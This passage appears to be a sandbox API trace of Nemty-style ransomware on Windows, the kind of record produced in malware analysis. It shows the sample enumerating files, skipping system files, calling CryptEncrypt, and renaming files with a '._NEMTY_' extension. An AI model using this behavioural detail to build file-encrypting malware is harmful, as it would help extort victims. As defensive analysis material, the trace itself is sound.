lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.899] CloseHandle (hObject=0xffffffff) returned 0 [0067.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0067.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0067.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.899] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png._nemty_kgobjgd_")) returned 0 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.900] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2=".") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="..") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="...") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="windows") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="$RECYCLE.BIN") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="rsa") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="NTDETECT.COM") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntldr") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="MSDOS.SYS") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="IO.SYS") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="boot.ini") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="boot.ini") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="ntuser.dat") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="desktop.ini") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="CONFIG.SYS") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="RECYCLER") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="BOOTSECT.BAK") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="bootmgr") returned 1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="programdata") returned -1 [0067.900] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="appdata") returned 1 [0067.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories_buttonClear.png", lpUsedDefaultChar=0x0) returned 24 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories_buttonClear.png", lpUsedDefaultChar=0x0) returned 24 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories_buttonClear.png", lpUsedDefaultChar=0x0) returned 24 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memories_buttonClear.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memories_buttonClear.png", lpUsedDefaultChar=0x0) returned 24 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0067.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.901] Sleep (dwMilliseconds=0x5) [0067.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc1f0610, dwHighDateTime=0x1d561e7)) [0067.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc1f0610, dwHighDateTime=0x1d561e7)) [0067.905] GetLastError () returned 0x5 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.905] GetLastError () returned 0x5 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.905] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.905] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="vAnoBl8Vcee9OQ2WLoU86WskDu3UlPslUQFrCpvuc/85IK3N8lUaatUGebtHrDHz\r\niElDQS9FE9pbRCnybZa4DApXpt3A/5D1m+DSXwdz488u9UEtFpsL4E5WuuSJ6MIq\r\nMFl22JCcwsyZcxnCyJ07R/RRHUIlZmiTyYl3tZM+W6vrrDp8VTJ3XXC5UJeVf82A\r\nhSO3sIvv6sztcA+svur2sQFX03D9/0CmVDTGS1JsLNerg0oLF3/vwhXdZN3gJBMB\r\nlhtxpXB9bzmjKLw0/171/f4BYslJ6Qn+dobljJwXrpffV1KwpWEYKOpK0z0ZEpbR\r\nR63UWsDFZEXhOnPq2f/hNw==\r\n", pcchString=0x653e91c) returned 1 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.906] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, 